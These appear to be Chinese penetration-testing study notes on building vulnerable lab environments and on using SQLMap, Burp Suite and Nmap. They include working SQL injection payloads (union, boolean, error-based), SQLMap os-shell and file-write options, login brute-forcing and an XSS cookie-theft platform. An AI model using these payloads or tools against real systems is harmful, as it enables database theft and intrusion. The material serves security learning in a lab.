网络渗透笔记

192.168.1.1
192.168.1.1
192.168.1.1
6594
文章
0
评论
2022年11月9日09:52:21 192.168.1.1 阅读 7,435

2.1 在Linux系统中安装LANMP

LANMP是Linux下Apache、Nginx、MySQL和PHP的应用环境,本节演示的是WDLinux的一款集成的安装包。

首先,下载需要的安装包,命令如下所示。

网络渗透笔记

下载完成后进行解压,解压文件的命令为tar zxvf lanmp_v3.tar.gz

输入sh lanmp.sh命令运行LANMP,这时程序中会有5个选项

选项1是安装Apache、PHP、MySQL、Zend、PureFTPd和phpMyAdmin服务;选项2是安装Nginx、PHP、MySQL、Zend、PureFTPd和phpMyAdmin服务:选项3是安装Nginx Apache、PHP、MySQL、Zend、PureFTPd和phpMyAdmin服务;选项4是安装所有服务:选项5是现在不安装。Zend Guard是一款PHP加密工具,经过加密的文件,务必安装Zend才能返回正常页面;PureFTPd是FTP空间服务;phpMyAdmin的作用是利用Web页面来管理MySQL数据库服务。这里可以根据自己需要的环境,自行选择。

在Kali和Ubuntu等系统中,输入sh lanmp.sh命令后提示有错误:

这是因为系统的dash兼容性不好,而编译器常用的就是dash。所以可以输入以下命令,直接更该系统的编译器(shell)操作。

sudo dpkg-reconfigure dash

然后选择“<No>”选项:

接着输入sudo sh lanmp.sh命令继续安装

这时选择你要安装的环境即可,安装的过程可能有点慢,安装完成后即可看到如下图所示的内容。在浏览器中访问IP和8080端口,输入默认的账号admin和密码wdlinux.cn,登陆成功后应先修改默认密码,防止被攻击。

2.2 在Windows 系统中安装WAMP

WAMP是Windows中Apache、MySQL和PHP的应用环境,这里演示的是WampServer,在Web安全攻防这本书的同步网站下载其安装文件。在安装时按照弹出的对话框提示,单击“下一步”按钮。通常在安装WampServer时会遇到一个问题,提示找不到MSVCR110.dll解决方案是去错误提示信息!下载Msvce110-zip后,将32位的系统放到C:\Windows\System32目录下,重新安装一遍就能解决。如果遇到Apache启动失败的情况,应当先卸载Apache服务,然后重新安装Apache服务并启动

启动成功后访问127.0.0.1,如,表示服务已经正常运行。

2.3 搭建DVWA漏洞环境

2.4 搭建SQL注入平台

sqli-labs是一款学习SQL注入的开源平台,共有75种不同类型的注入,在本书的同步网站下载完压缩包后并解压,复制源码然后将其粘贴到网站的目录中,进入MySQL管理中的phpMyAdmin,打开http://127.0.0.1/phpMyAdmin/,在数据库中新建库名为“security”的数据库,并把源代码中的sqli-labs.sql文件导入数据库中。

2.5搭建XSS测试平台

XSS测试平台是测试XSS漏洞获取cookie并接收Web页面的平台,XSS可以做JS能做的所有事,包括但不限于窃取cookie、后台增删改文章、钓鱼、利用XSS漏洞进行传播、修改网页代码、网站重定向、获取用户信息(如浏览器信息、IP地址)等。这里使用的是基于xsser.me的源码。在本书的同步网站下载相关文件并解压,然后将其放置在用来搭建XSS平台的网站目录下。安装过程如下所示。

进入MySQL管理界面中的phpMyAdmin界面,新建一个XSS平台的数据库。如xssplatform:设置其用户名和密码。修改config-php中的数据库连接字段。包括用户名、密码和数据库名,访问 XSS平台的URL地址,将注册配置中的invite改为normal,要修改的配置进入MySQL管理中的phpMyAdmin,选择XSS平台的数据库,导入源码包中的xssplatform.sql文件,然后执行以下SQL命令,将数据库中原有的URL地址修改为自己使用的URL,如图2-18所示。同时,也需要将authtest.php中的网址代码替换为自己的URL,如图2-19中用线框标出的部分。

UPDATE oc-module SETcode=REPLACE(code,'http://xsser.me’,’ http://yourdomain/xss’)

接下来访问搭建XSS平台的URL,首先注册用户,然后在phpMyAdmin里选择oc_user,将注册用户的adminLevel改为1,如图2-20所示。再将config-php 注册配置中的normal改为invite(使用邀请码注册,即关闭开放注册的功能)。需要配置伪静态文件(htaccess),平台根目录创建.htaccess文件,写入以下代码。

3.1 SQLMap详解

SQLMap是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB。SQLMap采用了以下5种独特的SQL注入技术。

3.1.1 安装SQLMap

SQLMap的安装需要Python环境(不支持Python 3),本节使用的是Python 2.7.3,可在官网下载安装包并一键安装,安装完成后,复制Python的安装目录,添加到环境变量值中。

3.1.2 SQLMap入门

(1)判断是否存在注入

Sqlmap.py -u http://129.168.1.104/sql1/Less-1/?id=1

当注入点后面的参数大于等于两个小时,需要家双引号,如下所示。

(2)判断文本中的请求是否存在注入

判断是否存在注入的命令如下所示。(-r一般在存在cookie注入时使用

Sqlmap.py -r desktop/1.txt

(3) 查询当前用户的所有数据库

该命令是确定网站存在注入后,用于查询当前用户下的所有数据库。

(4) 获取数据库中的表名

该命令的作用是查询完数据库后,查询指定数据库中所有的表名。

(5) 获取表中的字段名

该命令的作用是查询完表名后,查询该表中所有的字段名。

(6) 获取字段内容

该命令是查询完字段名后,获取该字段中具体的数据信息。

(7) 获取数据库的所有用户

该命令的作用是列出数据库的所有用户。在当前用户有权限读取包含所有用户的表的权限时,使用该命令就可以列出使用管理用户。

(8) 获取数据库用户的密码

该命令的作用是列出数据库用户的密码。如果当前用户有读取包含用户密码的权限,SQLMap会先列举出用户,然后列出Hash,并尝试破解。

(9) 获取当前网站数据库的名称

使用该命令可以列出当前的数据库。

(10) 获取当前网站数据库的用户名称

使用该命令可以列出当前网站使用的数据库用户。

3.1.3 SQLMap进阶:参数讲解

(1)--level 5:探测等级

参数—level 5指需要执行的测试等级,一共有5等级(1~5),可不加level,默认是1.

(2)--is-dba:当前用户是否为管理权限

该命令用于查看当前账户是否为数据库管理员账户。

(3) --roles:列出数据库管理员角色

该命令用于查看数据库用户的角色。

(4)--referer: HTTP Referer头

SQLMap可以在请求中伪造HTTP中的referer,当—level参数设定为3或3以上时,会尝试对referer注入。可以使用referer命令来欺骗,如—referer 百度一下,你就知道

(5)--sql-shell:运行自定义SQL语句

该命令用于执行指定的SQL语句。

(6)--os-cmd,--os-shell:运行任意操作系统命令

在数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,如果数据库为MySQL、PostgreSQL,SQLMap上传一个二进制库,包含用户自定义的函数sys_exec()和sys_eval(),那么创建的这两个函数就可以执行系统命令。在Microsoft SQL Server中,SQLMap将使用xp_cmdshell储存过程,如果被禁用,则SQLMap会重新启用它;如果不存在,会自动创建。

用--so-shell参数可以模拟一个真实的Shell,输入想执行的命令。当不能执行多语句时,仍然可以使用INTO OUTFILE写进可写目录,创建一个Web后门。--so-shell支持ASP、ASP.NET、JSP和PHP四种语言。

(7)--file-read:从数据库服务器中读取文件

该命令用于读取执行文件,当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。

$ python sqlmap.py -u

--file=read “C:/example.exe” -v 1

(8)--file-write --file-dest:上传文件到数据库服务器中

该命令用于写入本地文件到服务器中,当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。

3.1.4 SQLMap自带绕过脚本tamper的讲解

SQLMap在默认情况下除了使用CHAR()函数防止查询单引号,没有对置入的数据进行修改,读者还可以使用—tamper参数对数据修改WAF等设备,其中大部分脚本主要用正则模块替换共计载荷字符编码的方式尝试绕过WAF的检测规则,目录如下所示。

Sqlmap.py xxxxx –tamper “模块名”

目前官方提供53个绕过脚本,下面是一个tamper脚本

一个zui小的tamper脚本结构为priority变量定义和dependencies、tamper函数定义。

在日常使用中,我们会对一些网站是否有安全防护(WAF/IDS.IPS)进行试探,可以使用参数--identify-waf进行检测。

3.2 Burp Suite详解

3.2.1 Burp Suite的安装

Burp Suite是一款集成化的渗透测试工具,包含了很多功能,可以帮助我们高效地完成对Web应用程序的渗透测试和攻击。

专业版与免费版的主要区别有一下三点。

Burp Suite是用Java语言开发的,运行时依赖JRE,需要安装Java环境才可以运行。用百度搜索JDK,选择安装包然后下载即可,打开安装包后单击“下一步”按钮进行安装(安装路径可以自己更改或者采用默认路径)。提示安装完成后,打开cmd,输入java-version进行查看,若返回版本信息则说明已经正确安装

接下来配置环境变量,右击“计算机”,接着单击“属性”→“高级系统设置 3.2.2 Burp

→“环境变量”,然后新建系统变量,在弹出框的“变量名”处输入“JAVA_HOME”

在“系统变量”中找到PATH变量,在“变量值”的zui前面加上“%JAVA HOME%bin:",然后单击“确定”按钮。

在“系统变量”中找到CLASSPATH变量,若不存在则新建这个变量,在“变量值”的zui前面加上“.;%JAVA_HOME%\lib\dtjar;%JAVA_HOME%\libtools.jar; ",然后单击“确定”按钮。

打开cmd,输入javac,若返回帮助信息,说明已经正确配置了环境变量。

下载好的Burp无须安装,直接双击BurpLoaderjar文件即可运行。

3.2.2 Burp Suite 入门

Burp Suite代理工具是以拦截代理的方式,拦截使用通过代理的网络流量,如客户端的请求数据、服务器端的返回信息等。Burp Suite主要拦藏HTTP和HTTPS协议的流量,通过拦截,BurpSuite以中间人的方式对客户端的请求数据、服务端的返回息做各种处理。以达到安全测试的目的。

在日常工作中,zui常用的Web客户端就是Web浏览器,我们可以通过设置代理位息,拦截Web浏览器的流量,并对经过Burp Suire代理的流量数据进行处理。Burp Suite运行后,BurpProxy默认本地代理端口为8080,如图3-21所示。

这里以Firefox浏览器为例,单击浏览器右上角“打开菜单”,依次单击“选项”à“常规”à“网络代理”à“设置”à“手动配置代理”,如图3-22所示,设置HTTF代理为127.0.0.1,端口为8080,与Burp Proxy中的代理一致。

1.Proxy

Burp Proxy是利用Burp开展测试流程的核心,通过代理模式,可以让我们拦截、查看、修改所有在客户端与服务端之间传输的数据。

*Burp Proxy的拦截功能主要由Intercept选项卡中的Forward、Drop、Interception is on/off和Action构成,它们的功能如下所示。

*Forward表示将拦截的数据包或修改后的数据包发送至服务器端。 Drop表示丢弃当前拦截的数据包。

*Interception is on表示开启拦截功能,单击后变为Interception is off,表示关闭拦截功能。

*单击Action按钮,可以将数据包进一步发送到Spider、Scanner、Repeater、 Intruder等功能组件做进一步的测试,同时也包含改变数据包请求方式及其 body的编码等功能。

打开浏览器,输入需要访问的URL并按回车键,这时将看到数据流量经过Burp Proxy并暂停,直到单击Forward按钮,才会继续传输下去。如果单击了Drop按钮,这次通过的数据将丢失,不再继续处理。

当Burp Suite拦截的客户端和服务器交互之后,我们可以在Burp Suite的消息分析选项中查看这次请求的实体内容、消息头、请求参数等信息。Burp有四种消息类型显示数据包:Raw、Params、Headers和Hex。

*Raw主要显示Web请求的raw格式,以纯文本的形式显示数据包,包含请求

地址、HTTP协议版本、主机头、浏览器信息、Accept可接受的内容类型字符集、编码方式、cookie等,可以通过手动修改这些信息,对服务器端进行渗透测试

*Params主要显示客户端请求的参数信息,包括GET或者POST请求的参数、 cookie参数。可以通过修改这些请求参数完成对服务器端的渗透测试。

*Headers中显示的是数据包中的头信息,以名称、值的形式显示数据包。

*Hex对应的是Raw中信息的二进制内容,可以通过Hex编辑器对请求的内容进行修改,在进行00截断时非常好用

2.Spider

Spider的蜘蛛爬行功能可以帮助我们了解系统的结构,其中Spider爬取到的内容将在Target中展示,如图3-24所示,界面左侧为一个主机和目录树,选择具体某一个分支即可查看对应的请求与响应。

4.Decoder

Decoder的功能比较简单,它是Burp中自带的编码解码及散列转换的工具,能对原始数据进行各种编码格式和散列的转换。

Decoder的界面如图3-25所示。输入域显示的是需要编码/解码的原始数据,此处可以直接填写或粘贴,也可以通过其他Burp工具上下文菜单中的“Send to Decoder选项发送过来:输出域显示的是对输入域中原始数据进行编码/解码的结果。无论是输入域还是输出域都支持文本和Hex这两种格式,编码解码选项由解码选项(Decode as)、编码选项(Encode as)、散列(Hash)构成。在实际使用时,可以根据场景的需要进行设置。

对编码解码选项面言,目前支持URL、HTML、Base64、ASCII、十六进制、八进制、二进制和GZIP共八种形式的格式转换。Hash散列支持SHA、SHA-224、 SHA-256、SHA-384、SHA-512、MD2、MD5格式的转换。更重要的是,对同一个数据,我们可以在Decoder界面进行多次编码、解码的转换。

3.2.3 Burp Suite进阶

3.2.3.1 Scanner

Burp Scanner主要用于自动检测Web系统的各种漏洞。本小节介绍Burp Scanner的基本使用方法,在实际使用中可能会有所改变,但大体环节如下。

首先、确认BurpSute正常启动并完成浏览器代理的配置,然后进入Burp Proxy.关闭代理拦截功能,快速浏览需要扫搞的域或URL模块,此时在默认情况下,Burp Scanner会扫描通过代理服务的请求,并对请求的消息进行分析来辨别是否存在系统漏润、而且当我们打开Burp Target时,也会在站点地图中显示请求的URL树。

我们随便找一个网站进行测试,选择BurpTarget的站点地图选项下的链接,在其链接URL上右击选择“Actively scanthis host",此时会弹出过滤设置,保持默认选场即可扫描整个域

也可以在Proxy下的HTTP history中,选择某个节点上的链接URL并右击选择Do an active scan进行扫描

这时,Burp Scanner开始扫描,在Scanner界面下双击即可看到扫描结果。

我们也可以在扫描结果中选中需要进行分析的部分,将其发送到repeater模块中进行模拟提交分析和验证

当scanner扫描完成后,可以右击Burp Target站点地图选项下的链接,依次选择“issues”→“Report issues”选项,然后导出漏洞报告

然后将漏洞报告以html文件格式保存

通过以上操作步骤我们可以学习到:Burp Scanner主要有主动扫描和被动扫描两种扫描方式。

1.主动扫描(Active Scanner)

当使用主动扫描模式时,Burp会向应用发送新的请求并通过Payload验证漏洞。这种模式下的操作会产生大量的请求和应答数据。直接影响服务端的性能,通常用于非生产环境。主动扫描适用于以下这两类漏洞。

*客户端的漏洞,如XSS、HTTP头注入、操作重定向。

*服务端的漏洞,如SQL注入、命令行注入、文件遍历。

对第一类漏洞,Burp在检测时会提交input域,然后根据应答的数据进行解析在检测过程中,Burp会对基础的请求信息进行修改,即根据漏洞的特征对参数进行修改,模拟人的行为,以达到检测漏洞的目的:对第二类漏洞,以SQL注入为例,服务端有可能返回数据库错误提示信息,也有可能什么都不反馈。Burp在检测过程中会采用各个技术验证漏洞是否存在,例如诱导时间延迟、强制修改Boolean值、与模糊测试的结果进行比较,以提高漏洞扫描报告的准确性。

2.被动扫描(Passive Scanning)

当使用被动扫描模式时,Burp不会重新发送新的请求,只是对已经存在的请求和应答进行分析,对服务端的检测来说,这比较安全,通常适用于生产环境的检潮。一般来说,下列渴洞在被动模式中容易被检测出来。

*提交的密码为未加密的明文。

*不安全的cookie的属性。例如缺少HnpOnly和安全标志。

*cookie的范围缺失

*跨域脚本包含和站点引用泄露表单值自动填充,尤其是密码。

*SSL保护的内容缓存。目录列表。

*提交密码后应答延迟。 session令牌的不安全传输。

*敏感信息泄露,例如内部IP地址、电子邮件地址、堆栈跟踪等信息泄露。

*不安全的ViewStatc的配置

*错误或不规范的Content-Type指令

虽然被动扫描模式相比主动模式有很多不足,但同时也具有主动模式不具备的优点。除了对服务端的检测比较安全,当某种业务场景的测试每次都会破坏业务场景的某方面功能时,可以使用被动扫描模式验证是否存在漏洞,以减少测试的风险。

3.2.3.2 Intruder

Intruder是一个定制的高度可配置的工具,可以对Web应用程序进行自动化攻击,如通过标识符枚举用户名、ID和账户号码,模糊测试,SQL注入,跨站,目录遍历等。

它的工作原理是Intruder在原始请求数据的基础上,通过修改各种请求参数获取不同的请求应答。在每一次请求中,Intruder通常会携带一个或多个有效攻击载荷(Payload),在不同的位置进行攻击重放,通过应答数据的比对分析获得需要的特征数据。Burp Intruder通常被应用于以下场景。

*标识符枚举。Wcb应用程序经常使用标识符引用用户、账户、资产等数据信息。例如,用户名、文件ID和账户号码。

*提取有用的数据。在某些场景下,不是简单地识别有效标识符,而是通过简单标识符提取其他数据。例如,通过用户的个人空间ID获取所有用户在其个人空间的名字和年龄。

*模糊测试。很多输入型的漏洞(如SQL注入、跨站点脚本和文件路径遍历)可以通过请求参数提交各种测试字符串,并分析错误消息和其他异常情况,来对应用程序进行检测。受限于应用程序的大小和复杂性,手动执行这个测试是一个耗时且烦琐的过程,因此可以设置Payload,通过Burp Intruder自动化地对Web应用程序进行模糊测试。

下面将演示利用Intruder模块爆破无验证码和次数限制的网站的方法,如图3-32所示,这里使用方法只是为了实验,读者不要将其用于其他非法用途。前提是你得有比较好的字典,我们准备好的字典如图3-33所示。需要注意的是,Burp Suite的文件不要放在中文的路径下。

然后选择要进行暴力破解的参数值,将pass参数选中,单击“AddS”按钮,这只对一个参数进行暴力破解,所以攻击类型使用sniper即可,如图3-36所示。这里梦注意的是,如果要同时对用户名和密码进行破解,可以同时选中user和pass参数,日选择交叉式clusterbomb模式进行暴力破解。

*Sniper模式使用单一的Payload组。它会针对每个位置设置Payload。这种攻击类型适用于对常见漏洞中的请求参数单独进行Fuzzing测试的情景。攻击中的请求总数应该是position数量和Payload数量的乘积。

*Batteringram模式使用单一的Payload组。它会重复Payload并一次性把所有相同的Payload放入指定的位置中。这种攻击适用于需要在请求中把相同的输入放到多个位置的情景。请求的总数是Payload组中Payload的总数。

*Pitchfork模式使用多个Payload组。攻击会同步迭代所有的Payload组,把 Payload放入每个定义的位置中。这种攻击类型非常适合在不同位置中需要插入不同但相似输入的情况。请求的数量应该是zui小的Payload组中的 Payload数量。

*Cluster bomb模式会使用多个Payload组。每个定义的位置中有不同的 Pavload组。攻击会迭代每个Payload组,每种Payload组合都会被测试一遍这种攻击适用于在位置中需要不同且不相关或者未知输入攻击的情景。攻击请求的总数是各Payload组中Payload数量的乘积

这里对Status或Length的返回值进行排序,查看是否有不同之处。如果有,查看返回包是否显示为登录成功,如果返回的数据包中有明显的登录成功的信息,则说明已经破解成功,如图3-39所示。

Burp Repeater是一个手动修改、补发个别HTTP请求,并分析它们的响应的工具。它zui大的用途就是能和其他Burp Suite工具结合起来使用。可以将目标站点地图、BurpProxy浏览记录、BurpIntruder的攻击结果,发送到Repeater上,并手动调整这个请来来对漏洞的探测或攻击进行微调。

Repeatcr分析选项有4种:Raw、Params、Headcrs和Hex

*Raw;显示纯文本格式的消息。在文本面板的底部有一个搜索和加亮的功能,可以用来快速定位需要寻找的字符串,如出错消息。利用搜索栏左边的弹出项,能控制状况的灵敏度,以及是否使用简单文本或十六进制进行搜索。

*Params:对于包含参数(URL查询字符串、cookie头或者消息体)的请求, Params选项会把这些参数显示为名字/值的格式,这样就可以简单地对它们进行查看和修改了。

*Headers:将以名字/值的格式显示HTTP的消息头,并且以原始格式显示消息体

*Hex:允许直接编辑由原始二进制数据组成的消息。

在渗透测试过程中,我们经常使用Repeater进行请求与响应的消息验证分析,例如修改请求参数、验证输入的漏洞;修改请求参数、验证逻辑越权;从拦截历史记录中捕获特征性的请求消息进行请求重放。本节将抓包发送到Repeater,如图3-40所示。

在Repcacr的操作界面中,左边的Rcquem为请求消息区,右边的Responsc万应省劳念区。请表清息区显示的是客户端发送的请求消息的详细信息。当我们编辑完请求消意后,单击按即可发送请求给服务端,如图3-41所示。

应答消息区显示的是对对应的请求消息单击“GO"按钮后,服务端的反馈消息。通过修改请求消息的参数来比对分析每次应答消息之间的差异,能更好地帮助我们分析系统可能存在的漏洞,如图3-42所示。

3.2.3.4 Comparer

BurpComparer在BurpSuite中主要提供一个可视化的差异比对功能,来对比分两次数据之间的区别,使用到的场合有:

*枚举用户名的过程中,对比分析登录成功和失败时,服务端反馈结果的别。

*使用Intruder进行攻击时,对于不同的服务端响应,可以很快分析出两次应的区别在哪里。

*进行SQL注入的盲注测试时,比较两次响应消息的差异,判断响应结果与注入条件的关联关系。

使用Comparer时有两个步骤,先是数据加载,如图3-43所示,然后是差异分析如图3-44所示。

Comparer数据加载的常用方式如下所示。

*从其他Burp工具通过上下文菜单转发过来。

*直接粘贴。

*从文件里加载。

加载完毕后,如果选择两次不同的请求或应答消息,则下发的比较按钮将被激活,此时可以选择文本比较或字节比较。

3.2.3.5 Sequencer

Burp Sequencer是一种用于分析数据样本随机性质量的工具。可以用它测试应用程序的会话令牌(Session token)、密码重置令牌是否可预测等场景,通过Sequencer的数据样本分析,能很好地降低这些关键数据被伪造的风险。

Burp Sequencer主要由信息截取(LiveCapture)、手动加载(Manual Load)和选项分析(Analysis Options)三个模块组成。

在截取信息后,单击Load按钮加载信息,然后单击“Analyze now”按钮进行分析,如图3-45所示。

3.3 Nmap 详解

主机信息收集技术——基础知识

黑客攻击的一般过程:

信息收集:

主要收集目标主机的相关信息,主要包括端口、服务、漏洞等信息。信息收集手段多样,可借助工具也多种多样。

端口扫描:Nmap

Nmap (网络映射器)是Gordon Lyonzui初编写的一种安全扫描器,用于发现计算机网络上的主机和服务,从而创建网络的“映射”。为了实现其目标,Nmap将特定数据包发送到目标主机,然后分析响应.NMAP强大的网络工具,用于枚举和测试网络。

扫描器之王

主机信息收集技术——Nmap

https://blog.csdn.net/m1585761297/article/details/80015726

nmap 192.168.1.1

nmap -A –T4 -v 192.168.1.1

-A 开启操作系统识别和版本识别功能

nmap没法判断操作系统类型时,会把扫描的指纹特征显示出来,让使用者自己判断。

-T 0-5档,设置扫描的快慢,0zui慢,5zui快;

级别越高,发包量越大,对网络带宽要求越高,另外扫描太快,容易被安全设备发现;

一般选择T4

-v 显示信息的级别,-vv 显示更详细的信息

192.168.1.1 扫描单个目标

192.168.1.1 192.168.1.5 … 扫描多个目标

192.168.1.1/24 扫描C段 或者 192.168.1.1-254

nmap -A –T4 -v -iL ~/targets.txt

-iL 表示要扫描的目标(IP地址或主机名)位于一个文档中

nmap -A –T4 -v 192.168.1.1/24 --exclude 192.168.1.100

--exclude 192.168.1.100 表示排除在外的目标,减少目标 节省时间

nmap -A –T4 -v 192.168.1.1/24 --excludefile ~/targets.txt

--excludefile ~/targets.txt 表示排除在外的目标包含在一个文档中

nmap 192.168.1.1 -p 80,443

-p 80,443 表示扫描特定(指定对应的)端口,聚焦我们的目标 节省扫描时间。如果不用-p指定端口, 默认扫描1000个常用端口 ,全端口扫描是很费时的,扫描一个主机可能需要几个小时( 2的16次方,一般用到的是1到65535,其中0不使用。系统知名端口(Well-Known Ports)为0~1023,这些端口只有系统特许的进程才能使用;1024-49151为用户端口(Registered ports)。 49152-65535称为动态端口(Dynamic Ports)。)

nmap --traceroute 192.168.1.1

--traceroute 探测路由

nmap -O 192.168.1.1

-O 对目标进行指纹识别

nmap -sV 192.168.1.1

-sV 对具体小版本进行探测

nmap -sF -T4 192.168.1.1

-sF 利用fin包对端口进行扫描的技术,识别是否被关闭,收到RST包,说明被关闭。否则是open 或者fileter状态。

主机信息收集技术——Nmap进阶

扫描脚本介绍:

位置 : nmap安装目录/scripts/ 例如/usr/share/nmap/scripts

脚本类型:

ll /usr/share/nmap/scripts | grep ^- | wc -l

使用介绍

nmap --script=auth 192.168.137.*

负责处理鉴权证书(绕开鉴权)的脚本,也可以作为检测部分应用弱口令

nmap --script=brute 192.168.137.*

nmap –script=default 192.168.137.* 或者 nmap -sC 192.168.137.*

默认的脚本扫描,主要是搜集各种应用服务的信息,收集到后,可再针对具体服务进行攻击。

nmap --script=vuln 192.168.137.*

检查是否存在常见漏洞

nmap -n -p445 --script=broadcast 192.168.137.4

在局域网内探查更多服务开启状况

主机信息收集技术——zenmap

Nmap图形化界面:

4.1 SQL注入的介绍

4.1.1介绍SQL注入

SQL注入就是指Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的SOI语句来实现对数据库的任意操作。

开发人员可用动态SQL语句创建通用、灵活的应用。

4.1.2 SQL注入的原理

SQL注入漏洞的产生需要满足以下两个条件:

当传入的ID参数为and 1=1时,执行代码如下:

Select * from users where id = 1 and 1=1

在实际环境中,凡是满足上述两个条件的参数皆可能存在SQL注入漏洞,因此开发者需秉持“外部参数皆不可信的原则”进行开发。

4.1.3 与MySQL注入相关的知识点

MySQL5.0版本后,MySQL默认在数据库中存放一个“information_schema”的数据库,在该库中,有三个表名,分别是SCHEMATA、TABLES和 COLUMNS。

SCHEMATA表存储该用户创建的所有数据库的库名,如图下图所示。该表中记录数据库库名的字段名为SCHEMA_NAME。

TABLES表存储该用户创建的所有数据库的库名和表名,表中记录数据库库名和表名的字段名分别为TABLE_SCHEMA和TABLE_NAME。

COLUMNS表存储该用户创建的所有数据库的库名、表名和字段名,表中记录数据库库名、表名和字段名的字段名为TABLE SCHEMA、TABLE NAME和COLUMN_ NAME.

常用的MySQL查询语句和函数如下所示。

1.MySQL查询语句

在不知道任何条件时,语句如下所示:

SELECT 要查询的字段名FROM库名.表名

在知道一条已知条件时:

SELECT要查询的字段名FROM 库名.表名WHERE已知条件的字段名=’已知条件的值’

在知道两条已知条件时:

SELECT 要查询的字段名FROM 库名.表名WHERE已知条件1的字段名=’已知条件1的值’AND 已知条件2的字段名=’已知条件2的值’

2.limit的用法

limit的使用格式为limit m,n,其中m是指记录开始的位置,从0开始,表示第一条记录;n是指取n条记录。例如limit0,1表示从第一条记录开始,取一条记录不使用limit和使用limit查询的结果如图1和图2所示,可以很明显地看出二者的区别。

3.需要记住的几个函数

全 .database():当前网站使用的数据库。

防 .version():当前MySQL的版本。

user)):当前MySQL的用户。

4.注释符

在MySQL中,常见注释符的表达方式:#或--空格或/**/。

5.内联注释

内联注释的形式:/*!code*/内联注释可以用于整个SQL语句中,用来执行我们的SQL语句,例:

Index.php?id=-15/*!UNION*//*! SELECT*/1,2,3。

4.1.4 Union注入攻击

Union注入攻击的测试地址:http://www.ccctfcn/unionphp?id=1.

再次访问时,在URL后添加一个单引号,页面返回的结果与id=1的结果不同。访问id=1 and 1=1,由于and 1=1为真,所以页面应返回与id=1相同的结果。访问id=1 and 1=2,由于and 1=2为假,所以页面应返回与id=1不同的结果。可以得出该网站可能存在SQL注入漏洞的结论。接着,使用order by1-99语句查询该数据表的字段数量,可以理解为order by=1-99。

在数据库中查询参数ID对应的内容,然后将数据库的内容输出到页面,由于是将数据输出到页面上的,所以可以使用Union注入,且通过order by查询结果,得到字段数为3,所以Union注入的语句如下所示。

union select 1,2,3

当页面成功执行,但没有返回union select的结果,这是由于代码只返回第一条结果,所以union select获取的结果没有输出到页面。

可以通过设置参数ID值,让服务端返回union select的结果,例如,把ID的值设置为-1,这样数据库中没有id=-1的数据,所以会返回union select的结果。返回的结果为2:3,意味着在union select1.2,3中,2和3的位置可以输入MySQL语句。尝试在2的位置查询当前数据库名(使用database()函数)访问id=1 union select 1,database(),3,页面成功返回了数据库信息。

之后输入以下命令查询表名:

select table_name from information_schema.tables where table_schema=’sgl’ limit 0,1; 尝试在2的位置粘贴语句,这里需要加上括号,如图1,页面返回了数据库的第一个表名。如果需要看第二个表名,则修改limit中的第一位数字,如使用limit1,1就可以获取数据库的第二个表名.

现在,所有的表名全部查询完毕,已知库名和表名,开始查询字段名,这里以emails表名为例,查询语句如下所示

select column_name from information_schema.columns where table_schema=’sql' and table_name=’emails’ limit 0,1;

尝试在2的位置粘贴语句,括号还是不可少,获取了emails表的第一个字段名,通过使用limit 1,1,获取了emails表的第二个字段名。当获得了库名、表名和字段名时,就可以构造SQL语句查询数据库的数据。

如查询字段email_id对应的数据,构造的SQL语句如下:

Select email_id from sql.emails limit 0,1;

之后,页面将返回email_id的第一条数据。

4.1.5 Union注入代码分析

在Union注入页面中,程序获取GET参数ID,将ID拼接到SQL语句中,在数据库中查询参数ID对应的内容,然后将第一条查询结果中的username和address输出到页面,于是将数据输出到页面上的,所以可以利用Union语句查询其他数据。

当访问id=1union select 1,2,3时,执行的SQL语句为:

select * from users where `id`=1 union select 1,2,3

此时SQL语句可以分为select* from users where `id`=1和union select 1,2,3两条,利用第二条语句(Union查询)就可以获取数据库中的数据。

1.6 Boolean注入攻击

Boolean注入攻击的测试地址:http://127.0.0.1/Boolean.php?id=1。

访问该网址时,页面返回yes,在URL后加一个单引号,返回结果将有yes变为no。所以,页面只返回yes或no。可以用Boolean注入先判断数据库的长度,语句如下:

‘ and length(database())>=1--+

有单引号,所以用注释符来注释。1位置可以是任何数字。判断出数据库库名的长度后,使用逐字符判断的方式获取数据库的库名。数据库库名的范围一般在a~z、0~9之内,可能还有一些特殊字符,不区分字母大小写。

逐字符判断的SQL语句为:

‘ and substr(database(),1,1)=’t’--+

Substr是截取,意为截取database()的值,从第一个字符开始,每次只返回一个。

Substr与limit的用法区别

Limit从0开始排序,而另一个是从1开始排序

可以用Burp的爆破功能爆破其中的’t’值,当值是s时,页面返回yes,其它值均返回no。另外,还可用ASCLL码的字符进行查询。数据库名是‘sql’,判断第二位字母是否是q,用以下语句:

‘and substr(database(),2,1)=’q’--+

查询表名、字段名的语句也应粘贴在database()的位置。

4.1.7 Boolean注入代码分析

先在Boolean注入页面中程序先获取GET参数ID,通过preg_match判断其中是否存在union/sleep/benchmark等危险字符。然后将参数ID拼接到SQL语句,从数据库中查询,有结果,则返回yes,否则为no,页面上也只会显示yes或no.

4.1.8 报错注入攻击

报错注入攻击的测试地址:http://127.0.0.1/sql/error.php?username=1。

首先访问http://127.0.0.1/sql/errorphp?username=1',因为参数username的值是1‘,在数据库中执行SQL时,会因为多了一个单引号而报错。之后程序直接将错误信息输出到了页面上,所以此处可以利用报错注入获取数据。报错注入有多种格式,此处利用函数updatem()演示 SQL语句获取userO的值,SQL语句如下:

‘and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

其中0x7e是ASCII编码,解码结果为~。然后尝试获取当前的库名,接着用select语句继续获取数据库中的库名、表名和字段名。

4.1.9 报错注入代码分析

在报错注入页面中,程序获取GET参数username后,将username拼接到SQL语句中,然后到数据库查询。如果执行成功,就输出ok;如果出错,则通过echo mysqli_error($con)将错误信息输出到页面(mysqli_error返回上一个MySQL函数的错误),

输入usermame=1’时,SQL语句为select*from users where'username`='1"。执行时,会因为多了一个单引号而报错。利用这种错误回显,通过floor()、updatexml()等函数将要查询的内容输出到页面上。

4.2 SQL注入进阶

4.2.1 时间注入攻击

时间注入攻击的测试地址:

http://127.0.0.1/sql/time/time.php?id-1.

